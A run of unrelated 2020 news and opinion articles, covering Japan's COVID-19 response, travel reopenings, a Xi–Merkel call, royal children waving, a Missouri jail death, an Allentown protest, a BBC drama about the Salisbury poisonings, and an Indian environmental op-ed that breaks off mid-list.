Patients who were hospitalized benefited from Japanese doctors' heavy reliance on CAT scans and X-rays to diagnose pneumonia cases. Researchers also suspect possible past exposure to other strains of coronavirus might provide some protection from the illness.

Or, Japan may just have been lucky so far, despite many missteps, some critics say.

Initially, hopes were high that Japan's system of public health centers, or "hokenjo," set up decades ago to track down tuberculosis and other infectious diseases, might be a powerful weapon against the pandemic.

Instead, gutted by steep staff cuts and restructuring, they became bottlenecks as they were flooded with tens of thousands of phone calls and testing requests. Bureaucracy prevented commercial and university labs from helping, as some people sickened and died before their calls were even answered.

A station passageway is crowded with commuters wearing face mask during a rush hour Tuesday, May 26, 2020, in Tokyo. Japan has kept its deaths from the new coronavirus low despite a series of missteps that beg the question of whether it can prevent future waves of infections. (AP Photo/Eugene Hoshiko, File)

"A public health perspective was prioritized, and treatment for each patient was neglected," Michiko Sakane, a doctor in Tsukuba, near Tokyo, said in a recent article published by the Medical Research Information Center. "We had to keep asking patients with flu symptoms to wait at home. We don't even know how many of them were positive," she said. "We needed a system that allow us to test anyone who needed to be tested."

Infections spread in hospitals, as meanwhile emergency rooms often rejected suspected COVID-19 patients due to shortages of protective gear, ventilators and intensive care beds.

The handling of the Diamond Princess cruise ship, on which 712 of the 3,711 people aboard gradually fell ill while being quarantined in the Yokohama port, triggered criticism that Japanese health officials had turned the vessel into a virus incubator.

Customers order drinks and food with their phone through plastic protector against the new coronavirus infection at Kichiri, an "izakaya" restaurant chain in Tokyo Thursday, June 4, 2020. As Japanese return to schools, shops and offices reconfigured to help prevent new coronavirus infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say.(AP Photo/Eugene Hoshiko)

Hundreds of those patients flooded into hospitals just as the pandemic was gaining a foothold in the Tokyo-Yokohama region. Other passengers were eventually evacuated from the ship without reports of secondary infections.

Officials say tests were rationed to avoid overwhelming hospitals, since health ministry policy initially required hospitalization of all positive cases. Officials later agreed to isolate asymptomatic or mild cases in hotels.

Still, emergency medicine briefly collapsed, said Takeshi Shimazu, head of the Japanese Association for Acute Medicine. "If we had a bigger outbreak, we wouldn't have been able to cope."

By early June, Japan had tested some 254,000, or only 0.2% of its 126 million people, a fraction of the numbers tested in the U.S., Germany and South Korea.

Omi has acknowledged the actual number of infections could be 10 or 20 times, or more, the health ministry's tally of nearly 17,000.

In this May 28, 2020, file photo, a visitor looks outside from Tokyo Tower, one of the town's travel spots, as it reopened the observatories in Tokyo. Japan has kept its deaths from the new coronavirus low despite a series of missteps that beg the question of whether it can prevent future waves of infections. (AP Photo/Eugene Hoshiko, File)

So far, government appeals to businesses to let employees work remotely; limited shutdowns of some businesses and schools and voluntary compliance with calls to avoid crowds appear to have turned the tide.

Numbers of new cases have dropped dramatically, though they have rebounded in recent days, a reminder of how easily the new coronavirus can spread.

One priority is to better protect the nearly one-third of Japanese over 65 in this fastest aging nation, said Tatsuhiko Kodama, a Tokyo University Immunologist.

As Japanese return to schools, shops and offices reconfigured to help prevent infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say.

The government has revised its testing guidelines and is setting up dozens of testing stations, introducing quick test kits for early detection. Some antibody testing has begun to assess the extent of infections and a contact-tracing app for both Apple and Google smartphones is under development.

A restaurant employee, on monitor, remotely attends as customers check their temperatures before entering the restaurant as a measure against the new coronavirus prevention at Kichiri, an "izakaya" or Japanese style restaurant at Shinjuku district in Tokyo Thursday, June 4, 2020. As Japanese return to schools, shops and offices reconfigured to help prevent new coronavirus infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say. (AP Photo/Eugene Hoshiko)

In this Feb. 10, 2020, file photo, officials with protective suites prepare work around the quarantined cruise ship Diamond Princess in the Yokohama Port, near Tokyo Japan. The handling of the Diamond Princess cruise ship, on which 712 of the 3,711 people gradually fell ill while being quarantined in the Yokohama port, triggered criticism that Japanese health officials turned the ship into a virus incubator. (AP Photo/Eugene Hoshiko, File)

Customers drink a toast through plastic protector against new coronavirus infection at Kichiri, an "izakaya" restaurant chain in Tokyo Thursday, June 4, 2020. As Japanese return to schools, shops and offices reconfigured to help prevent new coronavirus infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say. (AP Photo/Eugene Hoshiko)

A crowded coffee shop is seen in Tokyo Friday, May 15, 2020. Japan has kept its deaths from the new coronavirus low despite a series of missteps that beg the question of whether it can prevent future waves of infections. (AP Photo/Kiichiro Sato)

Authorities are on the lookout for further outbreaks of the virus that has cost the country hundreds of lives and trillions of yen (trillions of dollars) in lost production, consumer spending and tourism revenuesand in government spending to help salvage the economy.

When Tokyo confirmed 34 new COVID-19 cases on Tuesday, its governor declared an "alert," lighting the city government headquarters and the scenic Rainbow Bridge over Tokyo Bay in crimson.

Shimazu fears such largely symbolic measures won't prevent a resurgence of infections as people once again crowd onto trains and gather in cramped offices and classrooms.

"How effective can masks, social distancing and hand washing be?" he said. "I'm watching the situation with great concern."

Explore further Follow the latest news on the coronavirus (COVID-19) outbreak

 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Although the pandemic is still ongoing, there are countries that are ready to host tourists just in time for summer.

Caribbean islands are preparing to open their boarders to foreign visitors this month, while Mexico and Thailand are planning to open up region by region. If you are planning to travel this year, here are some of the top destinations that are ready to reopen.

Cyprus

Cyprus wants to reopen the country to help the economy, and to entice people, Cyprus is now offering tourists that they will cover the cost if a traveler tests positive for the coronavirus after visiting the country.

The government are willing to pay for lodging, food, drink and medication. The plan was released on May 26 and officials have earmarked a 100-bed hospital for tourists who will test positive for the virus while a 500-room hotel will be used as a quarantine site.

This decision came after Yiannis Karousos, the Cyprus Transport Minister, announced that on June 1, the hotels will open while the international flights will resume on June 9.

However, the government clarifies that not all tourists will be allowed to enter. All flights from Greece, Malta, Bulgaria, Norway, Austria, Finland, Slovenia, Hungary, Israel, Denmark, Germany, Slovakia and Lithuania will be authorized first.

Also Read: Coronavirus Goodwill: Russia Thanks PH for Saving Captain's Life

On June 20, flights from Switzerland, Poland, Romania, Croatia, Estonia and the Czech Republic will be allowed. The UK and US will still be restricted as the two nations have the largest number of coronavirus cases in the world.

Bali

Bali has been successful in their battle with COVID-19. Indonesia is now ready to open their country for tourists by October, as long as the infection rates will stay low. Bali's economy depends highly on tourism.

Every year, the number of visitors increase and in 2019 alone, 6.3 million tourists were recorded to have visited the country. Tour guides admitted that they've had a difficult time since tourism is in an all time low this year, and it collapsed the economy of Bali.

Now that the island is ready to open up, tourists must be willing to do a swab test and provide a letter proving that they are negative of COVID-19.

Thailand

Thailand is one of the top destination for tourists in Asia, as it welcomes 40 million foreign tourists in just 2019. But the boarders of the country was closed since March.

Now that the coronavirus cases in the country is slowly decreasing, the Thai government will be reopening the country region by region. It is unlikely that the country will open the boarders for international travels this year although the government is eyeing the reopening of international travels early 2021.

France

One of the most visited country in the world before the pandemic is France. Now the country has opened its boarders but travelers need to undergo a compulsory 14-day coronavirus quarantine and the practice will continue until July 24.

Businesses have been given the permission to reopen, such as hotels, restaurants, bars and cafes in June 2. The museum, the Louvre, will reopen in July 6. Right now, French tourists are allowed to stay at hotels and go around the country.



Related Article: All Schools Close in Japan to Safeguard Students from Coronavirus Infection

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Xi says in a call with German chancellor that political agenda will move forward President Xi Jinping reaffirmed China's commitment to stepping up the planned political agenda it has with Germany and the European Union in a telephone conversation with German Chancellor Angela Merkel on Wednesday night. It is an indication, experts said, that China-EU coordination and cooperation will create more global stability amid the COVID-19 pandemic. The phone call between Xi and Merkel-whose country will take over the EU's rotating presidency during the year's second half-came as a series of diplomatic events between China and the bloc had to be postponed due to the novel coronavirus outbreak. Xi told Merkel that China stands ready to work with Germany and the EU to strengthen strategic cooperation, uphold multilateralism, tackle global challenges and jointly add certainty to the current world of uncertainties. Xi said a series of significant China-Germany and China-EU political exchanges are now under discussion. He said China is willing to maintain close communication and coordination with Germany and the EU to ensure the success of the events and lift China-Germany and China-EU relations to a higher level. Given that the Chinese economy's fundamentals remain unchanged in signaling stable and long-term growth, Xi told Merkel that the country is still committed to further opening-up to the rest of the world and wants to expand international cooperation. Xi said the "fast track" launched recently between China and Germany to help their enterprises speed up the resumption of business activities also contributes to maintaining the stability of international industrial and supply chains. On Saturday, a charter flight operated by Germany's Lufthansa Airlines brought around 200 German business executives and technicians to Tianjin thanks to the "fast track" arrangement. Merkel said Germany is willing to maintain close communication with China to bring to fruition the events on the Germany-China and EU-China agendas and push for higher-level development of Germany-China and EU-China relations. Germany greatly appreciates the announcement made by Xi that a Chinese COVID-19 vaccine would be a global public good, Merkel said. Under current circumstances, she said, it is crucial to enhance international solidarity and multilateralism to win the global fight against the pandemic. Germany is willing to strengthen exchanges with China and continue to support the World Health Organization playing its important role so as to promote international public health security cooperation, she added. It was the third telephone conversation between Xi and Merkel since the start of the COVID-19 outbreak. Foreign Ministry spokesman Zhao Lijian confirmed on Thursday that a summit of China and EU countries planned for September in Leipzig, Germany, will be rescheduled because of the pandemic. China is willing to continue coordination and communication with Germany and the EU about the event, he said at a daily briefing. A summit between China and Central and Eastern European countries set for the first half of the year in China was also postponed. Experts said the global pandemic has become a catalyst for China and the EU to reshape their relationship. Though they have differences in many fields, cooperation remains the first priority for both parties, they said. Huang Ping, former director of the Institute of European Studies at the Chinese Academy of Social Sciences, said the world needs coordination and cooperation between China and the EU. Both China and the EU uphold multilateralism, openness and inclusiveness, which benefits them and other regions, too, Huang said. At a news conference in Brussels last week, EU High Representative for Foreign Affairs and Security Policy Josep Borrell underlined the importance of the relationship with China, and said the pandemic has accelerated existing trends.


Members of the British royal family have to follow a lot of (sometimes bizarre) rules and protocols. Theyre required to dress and speak a certain way. And when it comes to greeting the public, the way they wave has to meet royal standards. For royal kids, that means learning how to wave from a young age. Keep reading to check out photos of little royals doing their best royal waves.

All royals have to do the Windsor wave

Kids and adults in the royal family cant wave just any way. They have to do the Windsor wave, a more subtle and less tiring version compared to the typical wave of the hand. After all, royals spend a lot of time greeting the public so a more subdued wave makes sense.

Prince George waves at Pippa Middletons wedding | Pool/Max Mumby/Getty Images

Kids learn how to do the royal wave when theyre little and so do adults when they marry into the family. Take Meghan, Duchess of Sussex. When she and Prince Harry, Duke of Sussex went public with their engagement in 2017, the former Suits actress waved to cameras pretty enthusiastically. By the time she walked down the aisle in May 2018, Meghan swapped her previous wave for a more toned-down version aka the Windsor wave.

Prince George and his royal wave

Thanks to some lessons from his parents, Prince George has got his royal wave down. In 2015 following the birth of his younger sister, Princess Charlotte, George gave an adorable wave to the media who were waiting outside the Lindo Wing of St. Marys Hospital. Carried inside by his dad, Prince William, Duke of Cambridge, George did a sweet wave.

Prince George and Prince William wave outside the Lindo Wing of St. Marys Hospital, 2015| BEN STANSALL,ISHARA S.KODIKARA,LEON NEAL,JUSTIN TALLIS/AFP via Getty Images

RELATED: 6 of Prince William and Prince Georges Sweetest Moments

Just a little over a month later, George gave the public another look at his royal waving skills. On the balcony of Buckingham Palace during Trooping the Colour, George demonstrated his adorable royal wave.

Prince Charles, Prince William, and Prince George at 2015 Trooping the Colour | Max Mumby/Indigo/Getty Images

And in 2016 when he and Charlotte traveled with their mom and dad to Canada on a royal tour, George showed off his royal wave yet again. See George waving at the airport in Victoria, British Columbia.

Prince George waves during 2016 royal tour of Canada | Pool/Sam Hussein/WireImage

So sweet!

Princess Charlotte is all about the royal wave

On their way to the Lindo Wing of St. Marys Hospital to see their new baby brother, Prince Louis, Charlotte smiled and waved as she held her dads hand.

Prince William takes Prince George and Princess Charlotte to the Lindo Wing | DANIEL LEAL-OLIVAS/AFP via Getty Images

RELATED: Revealed: Who Taught Princess Charlotte the Turn and Wave Move?

So cute!

On her first day of school at Thomass Battersea in 2019, a now-5-year-old Charlotte played nice with the media who were there to document the occasion. She waved and smiled when she arrived hand-in-hand with her parents and George.

Princess Charlotte waves as she and Prince George arrive at school | Aaron Chown  WPA Pool/Getty Images

Prince Louis is still learning his royal wave

Louis, the youngest of the Cambridge kids, is still learning his royal wave. At Trooping the Colour in 2019, the 2-year-old whod been only a year old at the time, showed off his royal wave.

In the arms of his mom, Louis waved from the balcony of Buckingham Palace.

Kate Middleton and Prince Louis at 2019 Trooping the Colour | Max Mumby/Indigo/Getty Images

RELATED: 5 of Prince Williams Sweetest Moments With Prince Louis

He kept waving with William too.

Prince William, Prince Louis, and Kate Middleton at 2019 Trooping the Colour | Max Mumby/Indigo/Getty Images

And when Louis and Charlotte stood inside the palace, they waved to crowds through the window.

Prince Louis and Princess Charlotte wave at 2019 Trooping the Colour | Max Mumby/Indigo/Getty Images

Heres hoping we get to see George, Charlotte, and Louis (and their adorable royal waves) soon!

RELATED: Prince Louis Steals the Spotlight at Trooping the Colour 2019 Debut with Adorable Wave
OFALLON, Mo.  The Missouri NAACP and black lawmakers on Friday urged a new investigation into the death of an African American jail inmate who died in 2017 in a similar circumstance to George Floyd  with a white law enforcement officers knee on his neck.

Tory Sanders, 28, died at the Mississippi County Jail in rural Charleston, Missouri, about 150 miles south of St. Louis. He had several encounters with officers while jailed and a mental health counselor determined he was suffering from paranoia. Sheriff Cory Hutcheson and eight others then entered the cell to subdue him.

A wrongful death lawsuit, filed in November 2018 by Sanders mother, Quinta Sanders, said Hutcheson jammed his knee against Sanders neck and kept it there for up to three minutes, even as a police officer urged him to stop. Sanders fell into unconsciousness and died. The lawsuit, which is still pending in federal court in Cape Girardeau, names Mississippi County, Hutcheson and the city of Charleston among defendants.

Missouris attorney general at the time, Josh Hawley, investigated but declined to file charges after medical experts concluded that Sanders died of excited delirium, not from the knee to the neck or other efforts to control him.

During a news conference Friday, Missouri NAACP President Nimrod Chapel Jr. urged Mississippi County Prosecuting Attorney Darren Cann to file murder charges against Hutcheson and other officers.

But Cann, in a phone interview, said he turned the case over to the attorney generals office in 2017 because of a conflict of interest  one of his employees is related to Hutcheson. That conflict still exists, so it would be up to the attorney generals office to reopen the case, Cann said.

Eric Schmitt took over as attorney general after Hawley, a Republican, was elected to the U.S. Senate in 2018. Schmitts spokesman, Chris Nuele, said in a statement that the attorney general is committed to thoroughly reviewing all existing and any new evidence to determine whether to reopen the matter. Additionally, we hope to sit down with the NAACP and other interested parties to discuss further.

Hawleys spokeswoman, Kelli Ford, said in a statement that when he was attorney general, Hawley went to court to have the sheriff removed from office, stripped of his badge, charged with state and federal crimes, and sent to prison. Senator Hawley supports any further prosecutorial action the evidence will support.

Hutcheson does not have a listed phone number and a phone message left with his attorney was not immediately returned.

Floyds death on May 25 sparked nationwide protests. Derek Chauvin was charged with second-degree murder after bystander video showed him holding his knee to Floyds neck even as the man pleaded for air and eventually stopped moving. The video has sparked protests against police brutality and discrimination around the world.

Democratic state Sen. Karla May of St. Louis said Missourians cant ignore such a similar case in our own back yard.

In light of whats happening today in the protests, people who are part of this system of injustice need to be prosecuted in this case, May said.

The state NAACP issued a Missouri travel advisory in July 2017 over concerns about whether travelers civil rights would be respected. The resolution cited legislative action such as passage of a bill weakening the states anti-discrimination law, as well as Sanders death and racist incidents.

Sanders, of Nashville, Tennessee, ran out of gas on May 4, 2017, in southern Missouri, then hitchhiked and ended up in Charleston.

A day later, Sanders went to the police and told officers there was a warrant out for his arrest in Nashville related to an altercation with the mother of his children. The wrongful death lawsuit said Sanders also told officers: I need to see a mental health doctor to save my life and my kids life.

He was taken to the jail, where a mental health counselor concluded Sanders was suffering from paranoia as a result of substance abuse, and that he should be hospitalized for observation. But he remained in his cell.

That night, Hutcheson led a team of officers and jailers, wearing helmets and vests and holding a large shield, into Sanders cell, according to the lawsuit. Sanders was tackled, pepper sprayed, hit with a stun gun and punched while pleading for help and struggling to stay alive, the lawsuit stated.

Special Report: Inmate deaths reveal 'torturous' use of Tasers Among cases being investigated in the May 5 death of inmate Tory Sanders in a Mississippi County, Mo., jail.

According to the lawsuit, Hutcheson pressed his left knee on top of Sanders neck. A Charleston police officer told Hutcheson at least three times to remove the pressure.

No, Im good, the sheriff responded.

No lifesaving measures were taken after Sanders stopped breathing, the suit stated. Emergency medical personnel arrived and took him to a hospital, where he died a short time later.

Though not charged in Sanders death, Hutcheson now 36, was sentenced last year to six months in federal prison for unrelated crimes: wire fraud and identity theft. He resigned after pleading guilty and can no longer work as a law enforcement officer.

Federal prosecutors said Hutcheson used a fraudulent process to track the whereabouts of more than 200 cellphone users, including a judge and a former sheriff. He never explained his motive.

Hutcheson was elected in 2016. The former deputy ran on a pledge to attack the drug culture that permeated his county. Hutcheson arrested 88 drug dealers in his first 90 days as sheriff, his attorney said at Hutchesons sentencing.

But Hutcheson himself was arrested in April 2017, just three months into his term. In addition to the cellphone tracking allegations, he was accused of roughing up a 77-year-old beauty salon owner in a dispute over Hutchesons sister-in-laws paycheck. The woman suffered a heart attack during the encounter but recovered.

The state charges were dropped as part of the federal plea agreement.

The Post-Dispatch contributed to this report.
Community members of different races assembled Thursday afternoon as Allentown hosted its second passionate but peaceful protest against racism and police violence targeting people of color, in the wake of recent police killings of black victims.

Speaker Darian Colbert drew a connection between the route, from Allentown Public Library to Lehigh County Prison, and the pipeline that too many black and brown people find themselves in.

We started off at the library -- education -- ended at the prison -- mass incarceration, he said outside the jail near Hamilton and North Fourth streets. "You wonder why were saying shut it down? Because listen to me: We were declaring, speaking and prophesying right now. Tear this system down.

"Tear it down. The school-to-prison pipeline, say, 'Tear it down!'"

Colbert, who is executive director of the grassroots community organizing group Cohesion Network, spent part of the morning with Allentown police Chief Glenn Granitz Jr. on a virtual town hall. Beginning at 3 p.m., Granitz and other officers were among those marching down Hamilton. The demonstration was organized by Vic Laboy, of Action Town Freedom Fighters.

This is not something that was begun today, Colbert said during the morning session carried on Facebook. This is something, this is a man that I have been honored to call my friend and this is a man that I have worked together on a lot of the issues that are in front of our country.

Granitz said: Thats one thing that I think the community needs to understand here, that the building of trust, the building of understanding begins with empathy, it begins with our police officers understanding where peoples frustrations or peoples anger comes from. So listening is a big part of this for me.

Granitz was careful to point out during the town hall that he and Colbert were socially distancing themselves, six feet apart, as the coronavirus pandemic continues to infect people in the Lehigh Valley and beyond.

Participants in the rally and march tended to bunch closer together, and though many wore masks, some lowered them as the heat of the June afternoon bore down.

The demonstration was sparked by the recent deaths of Breonna Taylor in Louisville and George Floyd in Minneapolis at the hands of police, and other people of color who were victimized by police brutality before them. It was held simultaneously as a protest in Bethlehem, five days after both cities held similar shows of solidarity, anger and frustration.

It also came as Gov. Tom Wolf announced Thursday a series of reforms in the wake of protests and calls for racial justice across Pennsylvania.

In Allentown, the marchers shouted out the names of Taylor and Floyd, amid chants of "Black lives matter," and "What do we want? Justice. When do want it? Now. If we don't get it? Shut it down!"

"We are responsible for the atrocities happening to our black brothers and sisters because of our inaction and our inability to stand united," said Yolanda Diaz Colbert, who is Colbert's wife. They live in Allentown.

We must say no more, she continued in a speech outside the library.

"It is time we hold our police officers to the same law and order standards they have for civilians and root out racist cops. Its time we hold our city officials to a higher standard. Unite with us, join the movement, march with us, be one with us. Use your voice, then back it up with action and finally activate the power you do have -- to vote.

Editors note: This article has been updated to correct the organizer of the demonstration.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com.
Actress Anne-Marie Duff has praised the public health chief at the centre of the response to the Salisbury poisonings as she portrays the 'superhero' in a BBC drama retelling the events.

In 2018, Tracy Daszkiewicz was the director of public health at Wiltshire council, when a perfume bottle filled with nerve agent novichok was deployed in the city in a deadly attack. The target was a former Russian military intelligence officer and double agent Sergei Skripal.

Skripal and his daughter Yulia, who was visiting him at the time of the attack, both survived but a local woman named Dawn Sturgess died. Her boyfriend Charlie Rowley became critically ill, as did Detective Sergeant Nick Bailey, who had searched Skirpal's house.

Three-part BBC drama The Salisbury Poisonings, which airs on BBC1 later this month, focuses on these people most directly affected by the attack, with Mrs Daszkiewicz at its centre.

Scroll down for video

In June 2018, Tracy Daszkiewicz (left) was the director of public health at Wiltshire council, when a perfume bottle filled with nerve agent novichok was deployed in the city in a deadly attack. She is portrayed by Anne-Marie Duff (right) in new BBC drama The Salisbury Poisonings

The Salisbury Poisonings: Who's who in the BBC retelling of events Poisoned police officer: Rafe Spall (right) plays Nick Bailey (left), a Detective Sergeant who became critically ill after he searched Sergei Skripal's house. The events changed his life forever. Speaking on the role, Spall said: 'It's been really harrowing for Nick Bailey and his family and I just want to do them a service of getting their story out there' Dawn Sturgess (left) died after she was given the perfume bottle of novichok by her partner Charlie Rowley at his flat in nearby Amesbury. She put the liquid on her wrists. On playing Dawn, MyAnna Buring (right) said: 'So many of these big headline stories feel so removed from us and in particular, in the case of Dawn, she was dismissed. People are never just headlines, they're real human beings with real lives' Dawn's boyfriend Charlie Rowley (left) was left in a coma as a result of the poison. Commenting on portraying Rowley, Johnny Harris (right) said: 'These are real people that are involved, and this is not some sort of spy drama, with things being blown up. This is a sensitive story about real people who are in the middle of this ludicrous affair.' Advertisement

The programme was originally scheduled to premiere in early spring but was pushed back due to COVID-19.

Speaking to The Times about the show, Duff acknowledged the iconocraphy such as the hazmat suits and restaurants closed to prevent any spread will strike a chord with viewers in a way that could not have been foreseen when the show was made.

She said it also shines a light on the everyday heroes at the heart of a crisis like the poisonings - or the current coronavirus pandemic.

'We've become phenomenally aware of all the people that are cannon fodder in our lives, the people that are really there are at the front, taking bullets for us,' she said.

'I think this is a story about those people: the people who pick up after us, the people who take our rubbish away and who stack shelves and get paid sometimes less than the minimum wage, unfortunately. They are our superheroes, and this drama is about a few of those superheroes.'

The show follows Daszkiewicz (Duff) as she works with colleagues to try to combat a lethal and invisible enemy that has appeared out of nowhere.

Three-part BBC drama The Salisbury Poisonings, which airs on BBC1 later this month, focuses on these people most directly affected by the attack, with Mrs Daszkiewicz (Duff) at its centre. Pictured, Anne-Marie Duff as Daszkiewicz in a scene from the programme

Dawn Sturgess (MyAnna Buring), left, who died as a result of novichok poisoning

The public health response team of which Tracy is a part instigates a lockdown. They close a local economy. They set up an elaborate system of contact tracing and testing. They source and distribute Personal Protective Equipment for use on the frontlines. And they deal, every day, with a terrified and frustrated public.

Duff was able to spend time with Daszkiewicz and her family and describes the public health expert as having 'titanium' self-belief who was able to take on the enormous responsibility she was suddenly given.

She added: 'This was something so extraordinary, and to be surrounded by a group of strangers  predominantly male strangers  it was very frightening for her. Yet Tracy is somebody who takes responsibility, and thats the story I was trying to tell.'

The target was former Russian military intelligence officer and double agent Sergei Skripal. Skripal and his daughter Yulia, pictured, who was visiting him at the time, both survived

The programme is written by Adam Patterson and Declan Lawn, who admitted it is 'not always and easy watch'.

In a conversation with the BBC, they said: 'It deals with real trauma, experienced by real people, not very long ago. So why show it now? Because it is a story of people coming together in remarkable ways, finding strength in family and community.

'Its a story that reflects the internal reality of an emergency public health response, with all of its critical decisions. But perhaps most of all, because it reflects a kind of heroism that we have all come to recognise recently.

'A heroism that is quiet - ordinary even - and that is wrapped up in a simple sense of civic duty that we had wrongly assumed was on the wane, but that really had only been lying dormant. An everyday kind of heroism that nonetheless changes the world.'

The Salisbury Poisonings will be broadcast on BBC1 this month
Representative image

By Arun Malhotra

When COVID-19 began to erupt and the air became infectious for humans and humans stopped the motor of civilisation that ran its economy, suddenly, the nature has rebooted the environmentwe may call it environment's detox. Toxic dark smoke of the air has become a breezy cool wave of oxygen. Ozone layer has healed itself. One could see the blue fathomless oceanic sky and lets its vastness enter in him and your air purifier show in-home rating between 10 and 20 Particulate Matter when you switch it on-a big drop from safer value between 60 and 100. This is phenomenal air.

Water has become more sweater to human taste. Industrial madness with competition to burn more energy per hour, more lumens of light per hour, more miles per hour, and more money per hour has led us into this endless vicious cycle which would eventually end with the end of the earth. Governments of day that are run together by people have to think whether the economic parameters they have set to quantify the progress in terms of parameter growth per hour are steps in the right direction or are they eventually taking toll on our lives, the environment we live in, the water we drink, the air we breathe and the food we eatsomething that made our lives toxic, poisonous and fast-tracked mortality.

Civilisation has led humans into using more lumens of light per hour, more miles of fossil fuel energy travel per hour, more data of terra bytes per hour and more things usage per hour that made breaths more infectious per hour, water more toxic per hour and food more poisonous per hour and sickened them with more attacks by microbes and bacteria. Every time, when it lands humans into an emergency nobody know where is the Danger Button and when to press it. The toxicity of the air is not just gone above Red Mark it has sparked much beyond dangerous proportions. It seems no one knows the Danger Button let alone how to press it or to know the importance of the Button. The concept of free economy and its economic motor may guzzle power right till the end of every speck has energy on this earth to unlock but will make life on the planet extinct before that.

Together we all have right to run our lives dangerously not by ourselves but collectively as a nation we may pay heavy price that takes toll on our health, environment and eco-system. Or together we have to rethink and reboot our systems in order that we could live in them sustainably and leave this earth for the next generations for all beings as an earth that we have begotten.

Here are the few things the government may need to follow or adopt in the policy framework to lend a new lease of life to its subjects:

Step 1 : The Danger Button

Government should re-do the process of environment audit, forest audit, wild-life audit, and bio-diversity that should not be by guided by career bureaucrats or people holding positions in the government but with the help of technology using drone computers and expertise should collect real time data of our forests. India has mandated itself to maintain a forest cover of 33% but it is an open secret that Indias forest cover is much smaller than what it maintains in records. Ground Zero if you look not far, just google map, you will find forest cover is denuded. First and foremost we have to collect real-time data audit of entire forest, environment, air, water, wild life and food quality. We should create a real-time benchmark and decide the Danger Button and SOPs to press it and SOPs on how to press it. This Danger Button may shut some of economic activities based on the level of danger like motorists, factories, constructions, effluent guzzling plants so that there is no bearing on the basic life. And this Danger Button should be created vis-a-vis the threat the danger poses to the environment, air, water, birds, animals, humans. This threat should be assessable in terms of economic cost as well which you may understand in following points. Real time online data about the Danger Button and when would the Danger Button be automatically ignited is all shared will people. This will make people more accountable about their acts and it will form a community watch audit of sorts on the ones who destroy the environment.

Step 2 : Economic cost of Forests

Every human and living being owe their origin to forests. Forests are the powerhouses of air water food and eco-diversity. Forests are direct habitat of about 1/4th of humanity. India is a sitting on a time bomb which is ticking and staring at us from an imminent environment and ecological disaster to create permanent damage to the habitat of India subcontinent. Denuding forests for industrial madness and logging trees to build furniture, books and other useful things have long been a sustainable obsession of humans. How sustainable is that resource economically? It has become dangerously unsustainable as of now. We wrote human history on woods and our dependence of wooden furniture is growing. Wood has some deep seated value in humans since they consider it part of the rituals of life. But the way we are cutting our forests and the way we have denuded our forests indicate a sheer madness. Humans want only milching animals to grow to graze jungles into agriculture fields and our greed for wood and treasure-house in forests have led us to pay the price of climate warming that made our plant unsustainable. If you have kept your forests well you wont face drought. Forest trees release moisture pumping it out from the womb of earth tunnelling through their body unlocking it in the air create rain clouds and when air pass over forests it rains very heavily. Conserving all forests could cut seven billion metric tons of carbon dioxide each year the equivalent of getting rid of every car of the planet. India has a big crisis at hand. Reckless denudation of forests has led us to huge environmental crisis. Close to 40 million hectares of forests already denuded leading to ecological disaster and many states are turning into deserts. India needs to make heavy investment into sustainable forestry. Governments have very limited budget but they have to change the way they dealt with forest till now. A revolutionary change is needed far from being a mute spectator unmindful of the potent laws India has evolved to protect forests. How to turn this into a huge opportunity. In fact, the low hanging fruits are the best practices of the world for making Indias forests into a sustainable forestry. India may explore PPP mode, or privately operated sustainable forest mode or involve forest community to build small Forest Organization e.g. imitating farmers FPOs which are harnessed by private capital without land ownership and ensure that forest cover grows. This will end heavy denudation of forest cover in the country and will grow forest density on a sustainable basis ensuring that wood production grows at the same time ecological balance is maintained. Again, if you look at economic benefit, it will also be huge economic benefit like it will make India Zero Importing of Timber from Net-wood-products-importer to Net-wood-exporter country. It will end illegal wood logging activity and provide jobs to 375 million Indians who directly depend on forest and agro-forestry. It will also get at least Rs 2 lakh crore worth tax revenue from legitimate production and sale of timber which right now is not even Rs.10000 crores because most of the imported timber is sold either under-invoiced or not invoiced at all.

Step 3: Carpe diem

The pandemic has led us into an existential life which has showered on us many positives apart from the fear of death that it has created among us. First of all we should not let the benefit it brought to us go out of our hands. We should shift this environment benefit into long-lasting eternity. The fruit of huge environment benefit was never achievable with all the mandate of Environment, Forests and Wildlife Laws and their legality. We generally spend thousands of crores to get it going. We are going to pass the worst of the environments to our future generations who in all likelihood will be hit by worst kind of diseases, microbes and bacteria and would pay the price of our obsession. We saw a ray of hope during lockdown that we would never see again if we did not act now. The environment detox should continue for a longer period in perpetuity and to maintain that we should learn to spend sizable expenditure on stability and perpetuity of this environment benefit without letting it go from hands.

Step 4: A case for clean ways of energies

How to achieve a status quo in the environment that detoxified itself during lockdown? Introduce limited mobility electric vehicles like E-bicycles to ban fuel run two-wheelers in a phased manner by government or PPP efforts. We need to introduce the mobility in between cycle and motorcycle that would reduce the economic cost of fuel as well as environment cost of fossil fuel and would reduce the activity of travel per hour on energy and would add to environment. The economic profit of reducing per hour activity of travel without wasting fossil fuel will be economic prosperity. The economic loss of automobile will be economic profit of electric vehicles and manufacturers should be given switch-on benefits COVID may be used an equalizer for seamless switchover. We should run miles per hour of electric vehicles against combustible engines. Though it would be argued that almost 70 percent of electricity is generated by thermal and environment will not be benefited as much would be an equally plausible thought. But if we clean our air water today we will be able to clean our air water tomorrow on a sustainable basis and our next generation would also understand how to keep the environment safe after living and breathing in it with better technology and more people. Compare to electric versions, air pollution, noise pollution and emission caused by combustion of fossil fuel into the air create enormous carbon footprints. Almost 70 percent of the fuel into combustible engine is lost and wasted. That toxifies air by burning making us pay for it. That is the economic price we pay for leftover oil that cannot be made clean but damages the environment permanently with dirtier options. We dont need burning to get a sustainable clean living environment. Like mobility-intensive vehicles we should benefit from public transport, cars and taxis should replace combustible fuel engines into clean energies. We can set a target of 2025 for converting all motors into electric engines much of which will run on alternate clean energy.

Step 5: Zero Carbon Footprints

